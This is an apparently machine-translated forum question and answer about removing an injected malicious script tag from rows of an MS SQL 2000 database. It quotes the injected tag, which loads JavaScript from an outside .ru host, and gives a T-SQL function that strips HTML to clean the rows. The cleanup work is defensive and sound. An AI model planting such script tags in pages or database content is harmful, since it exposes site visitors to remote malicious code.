我已經遞交了已注入惡意軟件的MS SQL 2000數據庫。 惡意軟件腳本如下:無法從數據庫行中刪除注入的腳本
<script src=http://www.someAddress.ru/aScript.js></script>
現在我想從表中的行刪除這段代碼。
作爲一個測試,我inputed < H1>測試</H1>某一行上,併成功運行了以下查詢:
UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;
這樣取出h1標籤。
但是,試圖相同的腳本標籤不起作用:
UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2
爲什麼這個不行?
UPDATE 2
WOHO!我找到了解決方案! 我使用folloing代碼,我發現這裏:http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3
-- Look for open and close HTML tags making sure a letter or/follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
(@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
AS
BEGIN
DECLARE @Start INT
DECLARE @End INT
DECLARE @Length INT
SET @Start = CHARINDEX('<',@HTMLText)
SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
SET @Length = (@End - @Start) + 1
WHILE @Start > 0
AND @End > 0
AND @Length > 0
BEGIN
SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
SET @Start = CHARINDEX('<',@HTMLText)
SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
SET @Length = (@End - @Start) + 1
END
RETURN Replace(LTRIM(RTRIM(@HTMLText)),' ',' ')
END
GO
要刪除HTML標籤/腳本,我運行以下查詢:
UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;
這完美的作品。請注意,這個腳本刪除了所有的html。因此,如果我只想刪除<腳本,我只需將'<'替換爲'<腳本'。
我首先想到的是換行... – 2009-10-29 16:23:58
@rexem:你能詳細點嗎? – Steven 2009-10-29 17:03:44